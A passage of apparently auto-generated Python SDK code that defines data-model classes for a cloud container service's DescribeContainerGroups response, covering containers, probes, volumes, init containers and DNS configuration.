reason=None, message=None, signal=None): self.state = state self.detail_status = detail_status self.exit_code = exit_code self.start_time = start_time self.finish_time = finish_time self.reason = reason self.message = message self.signal = signal def validate(self): self.validate_required(self.state, 'state') self.validate_required(self.detail_status, 'detail_status') self.validate_required(self.exit_code, 'exit_code') self.validate_required(self.start_time, 'start_time') self.validate_required(self.finish_time, 'finish_time') self.validate_required(self.reason, 'reason') self.validate_required(self.message, 'message') self.validate_required(self.signal, 'signal') def to_map(self): result = {} result['State'] = self.state result['DetailStatus'] = self.detail_status result['ExitCode'] = self.exit_code result['StartTime'] = self.start_time result['FinishTime'] = self.finish_time result['Reason'] = self.reason result['Message'] = self.message result['Signal'] = self.signal return result def from_map(self, map={}): self.state = map.get('State') self.detail_status = map.get('DetailStatus') self.exit_code = map.get('ExitCode') self.start_time = map.get('StartTime') self.finish_time = map.get('FinishTime') self.reason = map.get('Reason') self.message = map.get('Message') self.signal = map.get('Signal') return self class DescribeContainerGroupsResponseContainerGroupsContainersReadinessProbeHttpGet(TeaModel): def __init__(self, path=None, port=None, scheme=None): self.path = path self.port = port self.scheme = scheme def validate(self): self.validate_required(self.path, 'path') self.validate_required(self.port, 'port') self.validate_required(self.scheme, 'scheme') def to_map(self): result = {} result['Path'] = self.path result['Port'] = self.port result['Scheme'] = self.scheme return result def from_map(self, map={}): self.path = map.get('Path') self.port = map.get('Port') self.scheme = map.get('Scheme') return self class DescribeContainerGroupsResponseContainerGroupsContainersReadinessProbeTcpSocket(TeaModel): def __init__(self, host=None, port=None): self.host = host self.port = port def validate(self): self.validate_required(self.host, 'host') self.validate_required(self.port, 'port') def to_map(self): result = {} result['Host'] = self.host result['Port'] = self.port return result def from_map(self, map={}): self.host = map.get('Host') self.port = map.get('Port') return self class DescribeContainerGroupsResponseContainerGroupsContainersReadinessProbe(TeaModel): def __init__(self, initial_delay_seconds=None, period_seconds=None, timeout_seconds=None, success_threshold=None, failure_threshold=None, http_get=None, tcp_socket=None, execs=None): self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.timeout_seconds = timeout_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.http_get = http_get self.tcp_socket = tcp_socket self.execs = [] def validate(self): self.validate_required(self.initial_delay_seconds, 'initial_delay_seconds') self.validate_required(self.period_seconds, 'period_seconds') self.validate_required(self.timeout_seconds, 'timeout_seconds') self.validate_required(self.success_threshold, 'success_threshold') self.validate_required(self.failure_threshold, 'failure_threshold') self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() self.validate_required(self.execs, 'execs') def to_map(self): result = {} result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['TimeoutSeconds'] = self.timeout_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None result['Execs'] = [] if self.execs is not None: for k in self.execs: result['Execs'].append(k) else: result['Execs'] = None return result def from_map(self, map={}): self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.timeout_seconds = map.get('TimeoutSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') if map.get('HttpGet') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersReadinessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None if map.get('TcpSocket') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersReadinessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None self.execs = [] if map.get('Execs') is not None: for k in map.get('Execs'): self.execs.append(k) else: self.execs = None return self class DescribeContainerGroupsResponseContainerGroupsContainersLivenessProbeHttpGet(TeaModel): def __init__(self, path=None, port=None, scheme=None): self.path = path self.port = port self.scheme = scheme def validate(self): self.validate_required(self.path, 'path') self.validate_required(self.port, 'port') self.validate_required(self.scheme, 'scheme') def to_map(self): result = {} result['Path'] = self.path result['Port'] = self.port result['Scheme'] = self.scheme return result def from_map(self, map={}): self.path = map.get('Path') self.port = map.get('Port') self.scheme = map.get('Scheme') return self class DescribeContainerGroupsResponseContainerGroupsContainersLivenessProbeTcpSocket(TeaModel): def __init__(self, host=None, port=None): self.host = host self.port = port def validate(self): self.validate_required(self.host, 'host') self.validate_required(self.port, 'port') def to_map(self): result = {} result['Host'] = self.host result['Port'] = self.port return result def from_map(self, map={}): self.host = map.get('Host') self.port = map.get('Port') return self class DescribeContainerGroupsResponseContainerGroupsContainersLivenessProbe(TeaModel): def __init__(self, initial_delay_seconds=None, period_seconds=None, timeout_seconds=None, success_threshold=None, failure_threshold=None, http_get=None, tcp_socket=None, execs=None): self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.timeout_seconds = timeout_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.http_get = http_get self.tcp_socket = tcp_socket self.execs = [] def validate(self): self.validate_required(self.initial_delay_seconds, 'initial_delay_seconds') self.validate_required(self.period_seconds, 'period_seconds') self.validate_required(self.timeout_seconds, 'timeout_seconds') self.validate_required(self.success_threshold, 'success_threshold') self.validate_required(self.failure_threshold, 'failure_threshold') self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() self.validate_required(self.execs, 'execs') def to_map(self): result = {} result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['TimeoutSeconds'] = self.timeout_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None result['Execs'] = [] if self.execs is not None: for k in self.execs: result['Execs'].append(k) else: result['Execs'] = None return result def from_map(self, map={}): self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.timeout_seconds = map.get('TimeoutSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') if map.get('HttpGet') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersLivenessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None if map.get('TcpSocket') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersLivenessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None self.execs = [] if map.get('Execs') is not None: for k in map.get('Execs'): self.execs.append(k) else: self.execs = None return self class DescribeContainerGroupsResponseContainerGroupsContainersSecurityContextCapability(TeaModel): def __init__(self, adds=None): self.adds = [] def validate(self): self.validate_required(self.adds, 'adds') def to_map(self): result = {} result['Adds'] = [] if self.adds is not None: for k in self.adds: result['Adds'].append(k) else: result['Adds'] = None return result def from_map(self, map={}): self.adds = [] if map.get('Adds') is not None: for k in map.get('Adds'): self.adds.append(k) else: self.adds = None return self class DescribeContainerGroupsResponseContainerGroupsContainersSecurityContext(TeaModel): def __init__(self, read_only_root_filesystem=None, run_as_user=None, capability=None): self.read_only_root_filesystem = read_only_root_filesystem self.run_as_user = run_as_user self.capability = capability def validate(self): self.validate_required(self.read_only_root_filesystem, 'read_only_root_filesystem') self.validate_required(self.run_as_user, 'run_as_user') self.validate_required(self.capability, 'capability') if self.capability: self.capability.validate() def to_map(self): result = {} result['ReadOnlyRootFilesystem'] = self.read_only_root_filesystem result['RunAsUser'] = self.run_as_user if self.capability is not None: result['Capability'] = self.capability.to_map() else: result['Capability'] = None return result def from_map(self, map={}): self.read_only_root_filesystem = map.get('ReadOnlyRootFilesystem') self.run_as_user = map.get('RunAsUser') if map.get('Capability') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersSecurityContextCapability() self.capability = temp_model.from_map(map['Capability']) else: self.capability = None return self class DescribeContainerGroupsResponseContainerGroupsContainers(TeaModel): def __init__(self, name=None, image=None, memory=None, cpu=None, restart_count=None, working_dir=None, image_pull_policy=None, ready=None, gpu=None, stdin=None, stdin_once=None, tty=None, volume_mounts=None, ports=None, environment_vars=None, previous_state=None, current_state=None, readiness_probe=None, liveness_probe=None, security_context=None, commands=None, args=None): self.name = name self.image = image self.memory = memory self.cpu = cpu self.restart_count = restart_count self.working_dir = working_dir self.image_pull_policy = image_pull_policy self.ready = ready self.gpu = gpu self.stdin = stdin self.stdin_once = stdin_once self.tty = tty self.volume_mounts = [] self.ports = [] self.environment_vars = [] self.previous_state = previous_state self.current_state = current_state self.readiness_probe = readiness_probe self.liveness_probe = liveness_probe self.security_context = security_context self.commands = [] self.args = [] def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.image, 'image') self.validate_required(self.memory, 'memory') self.validate_required(self.cpu, 'cpu') self.validate_required(self.restart_count, 'restart_count') self.validate_required(self.working_dir, 'working_dir') self.validate_required(self.image_pull_policy, 'image_pull_policy') self.validate_required(self.ready, 'ready') self.validate_required(self.gpu, 'gpu') self.validate_required(self.stdin, 'stdin') self.validate_required(self.stdin_once, 'stdin_once') self.validate_required(self.tty, 'tty') self.validate_required(self.volume_mounts, 'volume_mounts') if self.volume_mounts: for k in self.volume_mounts: if k : k.validate() self.validate_required(self.ports, 'ports') if self.ports: for k in self.ports: if k : k.validate() self.validate_required(self.environment_vars, 'environment_vars') if self.environment_vars: for k in self.environment_vars: if k : k.validate() self.validate_required(self.previous_state, 'previous_state') if self.previous_state: self.previous_state.validate() self.validate_required(self.current_state, 'current_state') if self.current_state: self.current_state.validate() self.validate_required(self.readiness_probe, 'readiness_probe') if self.readiness_probe: self.readiness_probe.validate() self.validate_required(self.liveness_probe, 'liveness_probe') if self.liveness_probe: self.liveness_probe.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() self.validate_required(self.commands, 'commands') self.validate_required(self.args, 'args') def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['Memory'] = self.memory result['Cpu'] = self.cpu result['RestartCount'] = self.restart_count result['WorkingDir'] = self.working_dir result['ImagePullPolicy'] = self.image_pull_policy result['Ready'] = self.ready result['Gpu'] = self.gpu result['Stdin'] = self.stdin result['StdinOnce'] = self.stdin_once result['Tty'] = self.tty result['VolumeMounts'] = [] if self.volume_mounts is not None: for k in self.volume_mounts: result['VolumeMounts'].append(k.to_map() if k else None) else: result['VolumeMounts'] = None result['Ports'] = [] if self.ports is not None: for k in self.ports: result['Ports'].append(k.to_map() if k else None) else: result['Ports'] = None result['EnvironmentVars'] = [] if self.environment_vars is not None: for k in self.environment_vars: result['EnvironmentVars'].append(k.to_map() if k else None) else: result['EnvironmentVars'] = None if self.previous_state is not None: result['PreviousState'] = self.previous_state.to_map() else: result['PreviousState'] = None if self.current_state is not None: result['CurrentState'] = self.current_state.to_map() else: result['CurrentState'] = None if self.readiness_probe is not None: result['ReadinessProbe'] = self.readiness_probe.to_map() else: result['ReadinessProbe'] = None if self.liveness_probe is not None: result['LivenessProbe'] = self.liveness_probe.to_map() else: result['LivenessProbe'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['Commands'] = [] if self.commands is not None: for k in self.commands: result['Commands'].append(k) else: result['Commands'] = None result['Args'] = [] if self.args is not None: for k in self.args: result['Args'].append(k) else: result['Args'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.memory = map.get('Memory') self.cpu = map.get('Cpu') self.restart_count = map.get('RestartCount') self.working_dir = map.get('WorkingDir') self.image_pull_policy = map.get('ImagePullPolicy') self.ready = map.get('Ready') self.gpu = map.get('Gpu') self.stdin = map.get('Stdin') self.stdin_once = map.get('StdinOnce') self.tty = map.get('Tty') self.volume_mounts = [] if map.get('VolumeMounts') is not None: for k in map.get('VolumeMounts'): temp_model = DescribeContainerGroupsResponseContainerGroupsContainersVolumeMounts() temp_model = temp_model.from_map(k) self.volume_mounts.append(temp_model) else: self.volume_mounts = None self.ports = [] if map.get('Ports') is not None: for k in map.get('Ports'): temp_model = DescribeContainerGroupsResponseContainerGroupsContainersPorts() temp_model = temp_model.from_map(k) self.ports.append(temp_model) else: self.ports = None self.environment_vars = [] if map.get('EnvironmentVars') is not None: for k in map.get('EnvironmentVars'): temp_model = DescribeContainerGroupsResponseContainerGroupsContainersEnvironmentVars() temp_model = temp_model.from_map(k) self.environment_vars.append(temp_model) else: self.environment_vars = None if map.get('PreviousState') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersPreviousState() self.previous_state = temp_model.from_map(map['PreviousState']) else: self.previous_state = None if map.get('CurrentState') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersCurrentState() self.current_state = temp_model.from_map(map['CurrentState']) else: self.current_state = None if map.get('ReadinessProbe') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersReadinessProbe() self.readiness_probe = temp_model.from_map(map['ReadinessProbe']) else: self.readiness_probe = None if map.get('LivenessProbe') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersLivenessProbe() self.liveness_probe = temp_model.from_map(map['LivenessProbe']) else: self.liveness_probe = None if map.get('SecurityContext') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.commands = [] if map.get('Commands') is not None: for k in map.get('Commands'): self.commands.append(k) else: self.commands = None self.args = [] if map.get('Args') is not None: for k in map.get('Args'): self.args.append(k) else: self.args = None return self class DescribeContainerGroupsResponseContainerGroupsVolumesConfigFileVolumeConfigFileToPaths(TeaModel): def __init__(self, content=None, path=None): self.content = content self.path = path def validate(self): self.validate_required(self.content, 'content') self.validate_required(self.path, 'path') def to_map(self): result = {} result['Content'] = self.content result['Path'] = self.path return result def from_map(self, map={}): self.content = map.get('Content') self.path = map.get('Path') return self class DescribeContainerGroupsResponseContainerGroupsVolumes(TeaModel): def __init__(self, type=None, name=None, nfsvolume_path=None, nfsvolume_server=None, nfsvolume_read_only=None, disk_volume_disk_id=None, disk_volume_fs_type=None, flex_volume_driver=None, flex_volume_fs_type=None, flex_volume_options=None, config_file_volume_config_file_to_paths=None): self.type = type self.name = name self.nfsvolume_path = nfsvolume_path self.nfsvolume_server = nfsvolume_server self.nfsvolume_read_only = nfsvolume_read_only self.disk_volume_disk_id = disk_volume_disk_id self.disk_volume_fs_type = disk_volume_fs_type self.flex_volume_driver = flex_volume_driver self.flex_volume_fs_type = flex_volume_fs_type self.flex_volume_options = flex_volume_options self.config_file_volume_config_file_to_paths = [] def validate(self): self.validate_required(self.type, 'type') self.validate_required(self.name, 'name') self.validate_required(self.nfsvolume_path, 'nfsvolume_path') self.validate_required(self.nfsvolume_server, 'nfsvolume_server') self.validate_required(self.nfsvolume_read_only, 'nfsvolume_read_only') self.validate_required(self.disk_volume_disk_id, 'disk_volume_disk_id') self.validate_required(self.disk_volume_fs_type, 'disk_volume_fs_type') self.validate_required(self.flex_volume_driver, 'flex_volume_driver') self.validate_required(self.flex_volume_fs_type, 'flex_volume_fs_type') self.validate_required(self.flex_volume_options, 'flex_volume_options') self.validate_required(self.config_file_volume_config_file_to_paths, 'config_file_volume_config_file_to_paths') if self.config_file_volume_config_file_to_paths: for k in self.config_file_volume_config_file_to_paths: if k : k.validate() def to_map(self): result = {} result['Type'] = self.type result['Name'] = self.name result['NFSVolumePath'] = self.nfsvolume_path result['NFSVolumeServer'] = self.nfsvolume_server result['NFSVolumeReadOnly'] = self.nfsvolume_read_only result['DiskVolumeDiskId'] = self.disk_volume_disk_id result['DiskVolumeFsType'] = self.disk_volume_fs_type result['FlexVolumeDriver'] = self.flex_volume_driver result['FlexVolumeFsType'] = self.flex_volume_fs_type result['FlexVolumeOptions'] = self.flex_volume_options result['ConfigFileVolumeConfigFileToPaths'] = [] if self.config_file_volume_config_file_to_paths is not None: for k in self.config_file_volume_config_file_to_paths: result['ConfigFileVolumeConfigFileToPaths'].append(k.to_map() if k else None) else: result['ConfigFileVolumeConfigFileToPaths'] = None return result def from_map(self, map={}): self.type = map.get('Type') self.name = map.get('Name') self.nfsvolume_path = map.get('NFSVolumePath') self.nfsvolume_server = map.get('NFSVolumeServer') self.nfsvolume_read_only = map.get('NFSVolumeReadOnly') self.disk_volume_disk_id = map.get('DiskVolumeDiskId') self.disk_volume_fs_type = map.get('DiskVolumeFsType') self.flex_volume_driver = map.get('FlexVolumeDriver') self.flex_volume_fs_type = map.get('FlexVolumeFsType') self.flex_volume_options = map.get('FlexVolumeOptions') self.config_file_volume_config_file_to_paths = [] if map.get('ConfigFileVolumeConfigFileToPaths') is not None: for k in map.get('ConfigFileVolumeConfigFileToPaths'): temp_model = DescribeContainerGroupsResponseContainerGroupsVolumesConfigFileVolumeConfigFileToPaths() temp_model = temp_model.from_map(k) self.config_file_volume_config_file_to_paths.append(temp_model) else: self.config_file_volume_config_file_to_paths = None return self class DescribeContainerGroupsResponseContainerGroupsInitContainersVolumeMounts(TeaModel): def __init__(self, name=None, mount_path=None, read_only=None): self.name = name self.mount_path = mount_path self.read_only = read_only def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.mount_path, 'mount_path') self.validate_required(self.read_only, 'read_only') def to_map(self): result = {} result['Name'] = self.name result['MountPath'] = self.mount_path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.name = map.get('Name') self.mount_path = map.get('MountPath') self.read_only = map.get('ReadOnly') return self class DescribeContainerGroupsResponseContainerGroupsInitContainersPorts(TeaModel): def __init__(self, port=None, protocol=None): self.port = port self.protocol = protocol def validate(self): self.validate_required(self.port, 'port') self.validate_required(self.protocol, 'protocol') def to_map(self): result = {} result['Port'] = self.port result['Protocol'] = self.protocol return result def from_map(self, map={}): self.port = map.get('Port') self.protocol = map.get('Protocol') return self class DescribeContainerGroupsResponseContainerGroupsInitContainersEnvironmentVarsValueFromFieldRef(TeaModel): def __init__(self, field_path=None): self.field_path = field_path def validate(self): self.validate_required(self.field_path, 'field_path') def to_map(self): result = {} result['FieldPath'] = self.field_path return result def from_map(self, map={}): self.field_path = map.get('FieldPath') return self class DescribeContainerGroupsResponseContainerGroupsInitContainersEnvironmentVarsValueFrom(TeaModel): def __init__(self, field_ref=None): self.field_ref = field_ref def validate(self): self.validate_required(self.field_ref, 'field_ref') if self.field_ref: self.field_ref.validate() def to_map(self): result = {} if self.field_ref is not None: result['FieldRef'] = self.field_ref.to_map() else: result['FieldRef'] = None return result def from_map(self, map={}): if map.get('FieldRef') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersEnvironmentVarsValueFromFieldRef() self.field_ref = temp_model.from_map(map['FieldRef']) else: self.field_ref = None return self class DescribeContainerGroupsResponseContainerGroupsInitContainersEnvironmentVars(TeaModel): def __init__(self, key=None, value=None, value_from=None): self.key = key self.value = value self.value_from = value_from def validate(self): self.validate_required(self.key, 'key') self.validate_required(self.value, 'value') self.validate_required(self.value_from, 'value_from') if self.value_from: self.value_from.validate() def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value if self.value_from is not None: result['ValueFrom'] = self.value_from.to_map() else: result['ValueFrom'] = None return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') if map.get('ValueFrom') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersEnvironmentVarsValueFrom() self.value_from = temp_model.from_map(map['ValueFrom']) else: self.value_from = None return self class DescribeContainerGroupsResponseContainerGroupsInitContainersPreviousState(TeaModel): def __init__(self, state=None, detail_status=None, exit_code=None, start_time=None, finish_time=None, reason=None, message=None, signal=None): self.state = state self.detail_status = detail_status self.exit_code = exit_code self.start_time = start_time self.finish_time = finish_time self.reason = reason self.message = message self.signal = signal def validate(self): self.validate_required(self.state, 'state') self.validate_required(self.detail_status, 'detail_status') self.validate_required(self.exit_code, 'exit_code') self.validate_required(self.start_time, 'start_time') self.validate_required(self.finish_time, 'finish_time') self.validate_required(self.reason, 'reason') self.validate_required(self.message, 'message') self.validate_required(self.signal, 'signal') def to_map(self): result = {} result['State'] = self.state result['DetailStatus'] = self.detail_status result['ExitCode'] = self.exit_code result['StartTime'] = self.start_time result['FinishTime'] = self.finish_time result['Reason'] = self.reason result['Message'] = self.message result['Signal'] = self.signal return result def from_map(self, map={}): self.state = map.get('State') self.detail_status = map.get('DetailStatus') self.exit_code = map.get('ExitCode') self.start_time = map.get('StartTime') self.finish_time = map.get('FinishTime') self.reason = map.get('Reason') self.message = map.get('Message') self.signal = map.get('Signal') return self class DescribeContainerGroupsResponseContainerGroupsInitContainersCurrentState(TeaModel): def __init__(self, state=None, detail_status=None, exit_code=None, start_time=None, finish_time=None, reason=None, message=None, signal=None): self.state = state self.detail_status = detail_status self.exit_code = exit_code self.start_time = start_time self.finish_time = finish_time self.reason = reason self.message = message self.signal = signal def validate(self): self.validate_required(self.state, 'state') self.validate_required(self.detail_status, 'detail_status') self.validate_required(self.exit_code, 'exit_code') self.validate_required(self.start_time, 'start_time') self.validate_required(self.finish_time, 'finish_time') self.validate_required(self.reason, 'reason') self.validate_required(self.message, 'message') self.validate_required(self.signal, 'signal') def to_map(self): result = {} result['State'] = self.state result['DetailStatus'] = self.detail_status result['ExitCode'] = self.exit_code result['StartTime'] = self.start_time result['FinishTime'] = self.finish_time result['Reason'] = self.reason result['Message'] = self.message result['Signal'] = self.signal return result def from_map(self, map={}): self.state = map.get('State') self.detail_status = map.get('DetailStatus') self.exit_code = map.get('ExitCode') self.start_time = map.get('StartTime') self.finish_time = map.get('FinishTime') self.reason = map.get('Reason') self.message = map.get('Message') self.signal = map.get('Signal') return self class DescribeContainerGroupsResponseContainerGroupsInitContainersSecurityContextCapability(TeaModel): def __init__(self, adds=None): self.adds = [] def validate(self): self.validate_required(self.adds, 'adds') def to_map(self): result = {} result['Adds'] = [] if self.adds is not None: for k in self.adds: result['Adds'].append(k) else: result['Adds'] = None return result def from_map(self, map={}): self.adds = [] if map.get('Adds') is not None: for k in map.get('Adds'): self.adds.append(k) else: self.adds = None return self class DescribeContainerGroupsResponseContainerGroupsInitContainersSecurityContext(TeaModel): def __init__(self, read_only_root_filesystem=None, run_as_user=None, capability=None): self.read_only_root_filesystem = read_only_root_filesystem self.run_as_user = run_as_user self.capability = capability def validate(self): self.validate_required(self.read_only_root_filesystem, 'read_only_root_filesystem') self.validate_required(self.run_as_user, 'run_as_user') self.validate_required(self.capability, 'capability') if self.capability: self.capability.validate() def to_map(self): result = {} result['ReadOnlyRootFilesystem'] = self.read_only_root_filesystem result['RunAsUser'] = self.run_as_user if self.capability is not None: result['Capability'] = self.capability.to_map() else: result['Capability'] = None return result def from_map(self, map={}): self.read_only_root_filesystem = map.get('ReadOnlyRootFilesystem') self.run_as_user = map.get('RunAsUser') if map.get('Capability') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersSecurityContextCapability() self.capability = temp_model.from_map(map['Capability']) else: self.capability = None return self class DescribeContainerGroupsResponseContainerGroupsInitContainers(TeaModel): def __init__(self, name=None, image=None, cpu=None, memory=None, restart_count=None, working_dir=None, image_pull_policy=None, ready=None, gpu=None, volume_mounts=None, ports=None, environment_vars=None, previous_state=None, current_state=None, security_context=None, command=None, args=None): self.name = name self.image = image self.cpu = cpu self.memory = memory self.restart_count = restart_count self.working_dir = working_dir self.image_pull_policy = image_pull_policy self.ready = ready self.gpu = gpu self.volume_mounts = [] self.ports = [] self.environment_vars = [] self.previous_state = previous_state self.current_state = current_state self.security_context = security_context self.command = [] self.args = [] def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.image, 'image') self.validate_required(self.cpu, 'cpu') self.validate_required(self.memory, 'memory') self.validate_required(self.restart_count, 'restart_count') self.validate_required(self.working_dir, 'working_dir') self.validate_required(self.image_pull_policy, 'image_pull_policy') self.validate_required(self.ready, 'ready') self.validate_required(self.gpu, 'gpu') self.validate_required(self.volume_mounts, 'volume_mounts') if self.volume_mounts: for k in self.volume_mounts: if k : k.validate() self.validate_required(self.ports, 'ports') if self.ports: for k in self.ports: if k : k.validate() self.validate_required(self.environment_vars, 'environment_vars') if self.environment_vars: for k in self.environment_vars: if k : k.validate() self.validate_required(self.previous_state, 'previous_state') if self.previous_state: self.previous_state.validate() self.validate_required(self.current_state, 'current_state') if self.current_state: self.current_state.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() self.validate_required(self.command, 'command') self.validate_required(self.args, 'args') def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['Cpu'] = self.cpu result['Memory'] = self.memory result['RestartCount'] = self.restart_count result['WorkingDir'] = self.working_dir result['ImagePullPolicy'] = self.image_pull_policy result['Ready'] = self.ready result['Gpu'] = self.gpu result['VolumeMounts'] = [] if self.volume_mounts is not None: for k in self.volume_mounts: result['VolumeMounts'].append(k.to_map() if k else None) else: result['VolumeMounts'] = None result['Ports'] = [] if self.ports is not None: for k in self.ports: result['Ports'].append(k.to_map() if k else None) else: result['Ports'] = None result['EnvironmentVars'] = [] if self.environment_vars is not None: for k in self.environment_vars: result['EnvironmentVars'].append(k.to_map() if k else None) else: result['EnvironmentVars'] = None if self.previous_state is not None: result['PreviousState'] = self.previous_state.to_map() else: result['PreviousState'] = None if self.current_state is not None: result['CurrentState'] = self.current_state.to_map() else: result['CurrentState'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Args'] = [] if self.args is not None: for k in self.args: result['Args'].append(k) else: result['Args'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.restart_count = map.get('RestartCount') self.working_dir = map.get('WorkingDir') self.image_pull_policy = map.get('ImagePullPolicy') self.ready = map.get('Ready') self.gpu = map.get('Gpu') self.volume_mounts = [] if map.get('VolumeMounts') is not None: for k in map.get('VolumeMounts'): temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersVolumeMounts() temp_model = temp_model.from_map(k) self.volume_mounts.append(temp_model) else: self.volume_mounts = None self.ports = [] if map.get('Ports') is not None: for k in map.get('Ports'): temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersPorts() temp_model = temp_model.from_map(k) self.ports.append(temp_model) else: self.ports = None self.environment_vars = [] if map.get('EnvironmentVars') is not None: for k in map.get('EnvironmentVars'): temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersEnvironmentVars() temp_model = temp_model.from_map(k) self.environment_vars.append(temp_model) else: self.environment_vars = None if map.get('PreviousState') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersPreviousState() self.previous_state = temp_model.from_map(map['PreviousState']) else: self.previous_state = None if map.get('CurrentState') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersCurrentState() self.current_state = temp_model.from_map(map['CurrentState']) else: self.current_state = None if map.get('SecurityContext') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsInitContainersSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.args = [] if map.get('Args') is not None: for k in map.get('Args'): self.args.append(k) else: self.args = None return self class DescribeContainerGroupsResponseContainerGroupsHostAliases(TeaModel): def __init__(self, ip=None, hostnames=None): self.ip = ip self.hostnames = [] def validate(self): self.validate_required(self.ip, 'ip') self.validate_required(self.hostnames, 'hostnames') def to_map(self): result = {} result['Ip'] = self.ip result['Hostnames'] = [] if self.hostnames is not None: for k in self.hostnames: result['Hostnames'].append(k) else: result['Hostnames'] = None return result def from_map(self, map={}): self.ip = map.get('Ip') self.hostnames = [] if map.get('Hostnames') is not None: for k in map.get('Hostnames'): self.hostnames.append(k) else: self.hostnames = None return self class DescribeContainerGroupsResponseContainerGroupsDnsConfigOptions(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class DescribeContainerGroupsResponseContainerGroupsDnsConfig(TeaModel): def __init__(self, options=None, name_servers=None, searches=None): self.options = [] self.name_servers = [] self.searches = [] def validate(self): self.validate_required(self.options, 'options') if self.options: for k in self.options: if k : k.validate() self.validate_required(self.name_servers, 'name_servers') self.validate_required(self.searches, 'searches') def to_map(self): result = {} result['Options'] = [] if self.options is not None: for k in self.options: result['Options'].append(k.to_map() if k else None) else: result['Options'] = None result['NameServers'] = [] if self.name_servers is not None: for k in self.name_servers: result['NameServers'].append(k) else: result['NameServers'] = None result['Searches'] = [] if self.searches is not None: for k in self.searches: result['Searches'].append(k) else: result['Searches'] = None return result def from_map(self, map={}): self.options = [] if map.get('Options') is not None: for k in map.get('Options'): temp_model = DescribeContainerGroupsResponseContainerGroupsDnsConfigOptions() temp_model = temp_model.from_map(k) self.options.append(temp_model) else: self.options = None self.name_servers = [] if map.get('NameServers') is not None: for k in map.get('NameServers'): self.name_servers.append(k) else: self.name_servers = None self.searches = [] if map.get('Searches') is not None: for k in map.get('Searches'): self.searches.append(k) else: self.searches = None return self class DescribeContainerGroupsResponseContainerGroupsEciSecurityContextSysctls(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') def to_map(self): result = 